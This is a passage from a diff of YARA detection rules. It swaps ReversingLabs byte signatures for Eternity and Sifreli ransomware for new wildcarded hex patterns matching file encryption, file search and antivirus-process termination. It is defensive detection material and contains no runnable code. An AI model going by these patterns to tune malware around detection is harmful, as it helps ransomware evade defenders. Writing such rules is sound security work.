+            ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 57 FF 15 ?? ?? ?? ?? FF 74 24 ?? 8D 34
+            47 FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 57 FF D3 8B 74 24 ?? 8B 1D ?? ?? ?? ?? 56 FF D3 C1 E0 ?? 8D 4C 24 ??
+            83 C0 ?? 50 E8 ?? ?? ?? ?? 56 FF D3 8D 4C 24 ?? 8D 04 C5 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 56 89 44 24 ?? FF D3 8B 5C 24 ?? 8B F0 8B CB 8D 3C 36 8B D7 E8 ?? ?? ?? ?? 8D 44
+            24 ?? 8B CE 8B 74 24 ?? 50 56 68 ?? ?? ?? ?? 57 C1 E1 ?? 53 89 4C 24 ?? FF 15 ?? ??
+            ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 56 FF D3 83 C0 ?? 8D 4C 24 ??
+            50 E8 ?? ?? ?? ?? 56 FF D3 40 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 89 44 24 ?? 33 F6 8B 44
+            24 ?? 8B FE 50 FF D3 85 C0 74 ?? 8B 54 24 ?? 89 54 24 ?? 8B 44 24 ?? 8A 0C 07 80 F9
+            ?? 74 ?? 80 F9 ?? 74 ?? 88 0A 42 89 54 24 ?? 50 47 FF D3 8B 54 24 ?? 3B F8 72 ?? 8B
+            7C 24 ?? 57 FF D3 50 FF 74 24 ?? 6A ?? 57 56 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ??
+            8D 54 24 ?? 89 74 24 ?? 8B CF E8 ?? ?? ?? ?? 59 85 C0 75 ?? 8D 4C 24 ?? E8 ?? ?? ??
+            ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? EB ?? 8B 4C 24 ?? 85 C9 74
+            ?? 8B 45 ?? 89 08 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ??
+            E8 ?? ?? ?? ?? 33 F6 46 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 5F 8B
+            C6 5E 5B 8B E5 5D C3
         }
-		$terminate_antivirus_processes_p2 = {
-            8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 49 ?? 33 F6 8B BC B5 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 57 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 39 43 ?? 74 ?? 6A ?? 68 ??
-            ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 66 83 3F ?? 75 ?? 33 C0 EB ?? 8B C7 8D 50 ?? 8D 49 ??
-            66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 50 57 8B CB E8 ?? ?? ?? ?? 46 83 FE ??
-            72 ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 56 FF
-            15 ?? ?? ?? ?? 8B C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ??
-            ?? ?? ?? 8B E5 5D C3
+		$crypt_files_v2 = {
+            8B 55 ?? 8B 1D ?? ?? ?? ?? 8D 04 12 89 44 24 ?? 8D 44 24 ?? 50 51 68 ?? ?? ?? ?? 52
+            FF 75 ?? FF D3 8D 04 36 89 44 24 ?? 8D 44 24 ?? 50 57 68 ?? ?? ?? ?? 56 FF 74 24 ??
+            FF D3 8B 1D ?? ?? ?? ?? 57 FF D3 FF 74 24 ?? 8B F0 FF D3 6A ?? 83 C0 ?? 68 ?? ?? ??
+            ?? 03 F0 56 6A ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 89 44 24 ?? C7 44 24 ??
+            ?? ?? ?? ?? FF D3 8B 54 24 ?? 40 85 D2 74 ?? 3B C6 73 ?? 8D 0C 02 89 44 24 ?? 89 4C
+            24 ?? 89 54 24 ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 57 FF D3 40 83 7C 24 ?? ?? 74 ?? 03
+            44 24 ?? 3B C6 72 ?? C7 44 24 ?? ?? ?? ?? ?? FF 74 24 ?? 33 F6 FF D3 85 C0 74 ?? 8B
+            7C 24 ?? EB ?? 8D 9B ?? ?? ?? ?? 8B 4C 24 ?? 8A 04 0E 3C ?? 74 ?? 3C ?? 74 ?? 88 07
+            47 51 46 FF D3 3B F0 72 ?? 8B 7C 24 ?? 57 33 F6 FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C
+            24 ?? 90 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C 24
+            ?? 3B F0 72 ?? 8B 74 24 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D7 56 FF 15 ?? ??
+            ?? ?? 8D 4C 24 ?? 8D 34 46 56 89 74 24 ?? E8 ?? ?? ?? ?? 8D 54 24 ?? C7 44 24 ?? ??
+            ?? ?? ?? 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 50 FF 15 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D7 8B 7C 24 ?? 57 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            56 FF 15 ?? ?? ?? ?? 8B 74 24 ?? 56 FF 74 24 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
+            ?? 57 8B 3D ?? ?? ?? ?? FF D7 68 ?? ?? ?? ?? 6A ?? 56 FF D7 8B 74 24 ?? 68 ?? ?? ??
+            ?? 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 56 FF D7 FF 74 24 ?? 8D 34 46 FF D3 50 56
+            6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 74 24 ?? 68 ?? ?? ?? ??
+            56 FF 15 ?? ?? ?? ?? 56 FF D7 8B 7C 24 ?? 57 8D 34 46 FF D3 50 56 6A ?? 57 6A ?? 68
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24
+            ?? 8B 35 ?? ?? ?? ?? FF D6 8B F8 6A ?? C1 E7 ?? 68 ?? ?? ?? ?? 83 C7 ?? 57 6A ?? FF
+            15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? FF D6 8D 0C C5 ?? ?? ?? ?? 8B 44 24 ?? 85 C0
+            74 ?? 3B CF 73 ?? 8B F8 EB ?? 33 FF FF 74 24 ?? FF D6 8B 0D ?? ?? ?? ?? 89 44 24 ??
+            85 C9 74 ?? 68 ?? ?? ?? ?? 6A ?? 51 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? FF D6 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 8B 4C 24 ?? 8D 34 00
+            8B D6 E8 ?? ?? ?? ?? 8B 4C 24 ?? 8D 04 CD ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 50 57
+            68 ?? ?? ?? ?? 56 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 57 FF
+            D3 6A ?? 68 ?? ?? ?? ?? 8D 70 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 57 89 44 24 ?? FF D3 8D
+            48 ?? 8B 44 24 ?? 85 C0 74 ?? 89 44 24 ?? 3B CE 72 ?? C7 44 24 ?? ?? ?? ?? ?? 57 33
+            F6 FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01
+            41 89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 74 24 ?? 56 FF D3 50 FF 74 24
+            ?? 6A ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 51 8D 54 24 ?? C7 44 24 ??
+            ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 50 8B 44 24 ?? 50 FF D3 8B 44 24 ?? 68 ?? ?? ?? ?? 6A ?? 50 FF D3 68 ?? ?? ?? ??
+            6A ?? FF 74 24 ?? FF D3 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF D3 8D 4C 24 ?? E8 ?? ??
+            ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3
         }
-
-	condition:
-		uint16(0)==0x5A4D and ( all of ($terminate_antivirus_processes_p*)) and ($find_files) and ($encrypt_files)
-}
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Eternity : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Eternity ransomware."
-		author = "ReversingLabs"
-		id = "7bb0f3b0-a8c0-5239-a1b4-532d403f59bc"
-		date = "2022-07-22"
-		modified = "2022-07-22"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Eternity.yara#L1-L74"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "a2298a26e9bbe2b779eb2afeeda28d4321bc2d26db46bbb377bf86abaf8fa929"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Eternity"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
 		$find_files = {
-            02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ??
-            ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 0C 2B ?? 08
-            6F ?? ?? ?? ?? 0D 09 03 04 28 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 2D ?? DE ?? 08 2C ?? 08 6F
-            ?? ?? ?? ?? DC 02 28 ?? ?? ?? ?? 0B 07 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13
-            ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ??
-            11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11
-            ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ??
-            72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 03 04 28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 17 58
-            13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 2A
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 89 55 ?? 8B F9 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
+            ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 57 8D 1C 47 89 5D ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF
+            15 ?? ?? ?? ?? 8B F0 33 C0 89 75 ?? 66 89 03 83 FE ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ??
+            ?? ?? 8B 5D ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ??
+            ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? 57 FF 15
+            ?? ?? ?? ?? 8B 55 ?? 8B CF 53 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? FF 75
+            ?? 8B 03 8D 95 ?? ?? ?? ?? 8B 73 ?? 51 8B CF 89 45 ?? E8 ?? ?? ?? ?? 01 03 59 11 53
+            ?? 59 3B 73 ?? 77 ?? 72 ?? 8B 45 ?? 3B 03 73 ?? 8B 45 ?? FF 00 8B 75 ?? 8B 45 ?? 33
+            C9 66 89 08 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 56 FF
+            15 ?? ?? ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3
         }
-		$encrypt_files = {
-            28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 0A 02
-            28 ?? ?? ?? ?? 0B 07 06 28 ?? ?? ?? ?? 0C 02 19 28 ?? ?? ?? ?? 0D 09 16 6A 6F ?? ?? ??
-            ?? 09 6F ?? ?? ?? ?? 02 1C 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 2C ?? 28 ?? ?? ??
-            ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11 ??
-            08 16 08 8E 69 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 58 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 02 6F
-            ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 2A
+		$find_files_v2 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 89 55 ?? 8B F9 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
+            ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ??
+            ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8D 1C 47 89 5D ?? FF D6 8D 85 ?? ?? ?? ?? 50
+            57 FF 15 ?? ?? ?? ?? 33 C9 89 45 ?? 66 89 0B 83 F8 ?? 75 ?? B8 ?? ?? ?? ?? 5F 5E 5B
+            8B E5 5D C3 8B 5D ?? EB ?? 8D A4 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57 FF D6 F6 85 ?? ?? ?? ?? ?? 74 ?? 68
+            ?? ?? ?? ?? 57 FF D6 8B 55 ?? 8B CF 53 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? EB
+            ?? FF 75 ?? 8B 03 8D 95 ?? ?? ?? ?? 8B 73 ?? 51 8B CF 89 45 ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 01 03 11 53 ?? 3B 73 ?? 77 ?? 72 ?? 8B 45 ?? 3B 03 73 ?? 8B 45 ?? FF 00 8B 35 ??
+            ?? ?? ?? 8B 45 ?? 33 C9 66 89 08 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85
+            C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 8B E5 5D C3
         }
-		$aes_encrypt = {
-            14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 73 ?? ??
-            ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 07 20 ??
-            ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ??
-            ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 17 6F ?? ?? ??
-            ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 11
-            ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 08 6F ?? ?? ?? ?? 0A DE ??
-            09 2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ?? ?? ?? ?? DC 06 2A
+		$search_antivirus_processes = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 B8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A
+            ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B F8 53 6A ??
+            89 7D ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 89 1E 83 FF ?? 74 ?? 56 57 FF 15 ?? ??
+            ?? ?? 33 DB 8D 7E ?? 57 FF B4 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 76 ??
+            50 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? FF 75 ??
+            FF 15 ?? ?? ?? ?? 43 83 FB ?? 72 ?? 8B 7D ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 85
+            F6 74 ?? 68 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5
+            5D C3
         }
-		$encrypt_pass = {
-            72 ?? ?? ?? ?? 0A 06 73 ?? ?? ?? ?? 0B D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C
-            08 07 6F ?? ?? ?? ?? A5 ?? ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 11 ?? 09 6F ?? ?? ?? ?? 7E
-            ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ??
-            16 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28
-            ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 2A
+		$search_antivirus_processes_v2 = {
+            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
+            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
+            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
+            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ??
+            C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ??
+            ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7
+            84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ??
+            ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8B F0 6A ?? 89 74 24 ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? C7 03 ??
+            ?? ?? ?? 83 FE ?? 74 ?? 53 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 4B ?? 33 F6 EB
+            ?? 8D A4 24 ?? ?? ?? ?? 90 51 FF 74 B4 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 73 ?? 50
+            6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 57 8B 3D ?? ??
+            ?? ?? FF D7 EB ?? 8B 3D ?? ?? ?? ?? 46 8D 4B ?? 83 FE ?? 72 ?? 8B 74 24 ?? 53 56 FF
+            15 ?? ?? ?? ?? 8D 4B ?? 85 C0 75 ?? 85 DB 74 ?? 68 ?? ?? ?? ?? 6A ?? 53 FF 15 ?? ??
+            ?? ?? 56 FF D7 5F 5E 5B 8B E5 5D C3
         }
-
-	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($aes_encrypt) and ($encrypt_pass)
-}
-rule REVERSINGLABS_Win32_Ransomware_Sifreli : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Sifreli ransomware."
-		author = "ReversingLabs"
-		id = "974f81e2-6907-54da-97e3-3116c41b5ed4"
-		date = "2020-10-08"
-		modified = "2020-10-08"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Sifreli.yara#L1-L119"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "48f6cc678bea81afece0ae203fb27b61e2c6e4f7188a3bd260190f568c9a8a06"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Sifreli"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$find_files = {
-            55 8B EC 83 EC ?? 53 56 57 8B 7D ?? 8B C7 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ??
-            2B C2 D1 F8 8D 44 00 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 50 A1 ?? ?? ?? ??
-            6A ?? 50 FF D6 8B D8 89 5D ?? 85 DB 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 53 FF 15 ??
-            ?? ?? ?? 8B 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 51 FF D6 8B F8 85 FF 0F 84 ?? ?? ??
-            ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ?? ?? 3D ?? ??
-            ?? ?? 1B C0 40 A3 ?? ?? ?? ?? EB ?? A1 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 57 50 53 FF 15
-            ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 90 F6 07 ?? 74
-            ?? BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 47 ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66
-            8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 33 DB EB ??
-            1B C0 83 D8 ?? 85 C0 74 ?? B9 ?? ?? ?? ?? 8D 47 ?? 8D 49 ?? 66 8B 10 66 3B 11 75 ??
-            66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0
-            EB ?? 1B C0 83 D8 ?? 85 C0 74 ?? 8B 55 ?? 8B 4D ?? 52 8D 47 ?? 50 8B 07 50 53 68 ??
-            ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 55 ?? 57 52 FF 15 ?? ?? ?? ?? 85
-            C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 5D ?? EB ?? C7 45 ?? ?? ?? ??
-            ?? 8B 0D ?? ?? ?? ?? 57 6A ?? 51 FF 15 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? 8B 15
-            ?? ?? ?? ?? 53 6A ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 5F 5E B8 ??
-            ?? ?? ?? 5B 8B E5 5D C3
+		$find_files_v2_1 = {
+            6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 C0 74
+            ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ??
+            ?? F7 D8 1B C0 40 75 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ??
+            ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 3C 46 89 7D ?? FF D3 8D 85 ?? ??
+            ?? ?? 50 56 FF 15 ?? ?? ?? ?? 33 C9 89 45 ?? 66 89 0F 83 F8 ?? 75 ?? B8 ?? ?? ?? ??
+            5F 5E 5B 8B E5 5D C3 8B 7D ?? EB ?? 8D 9B ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ??
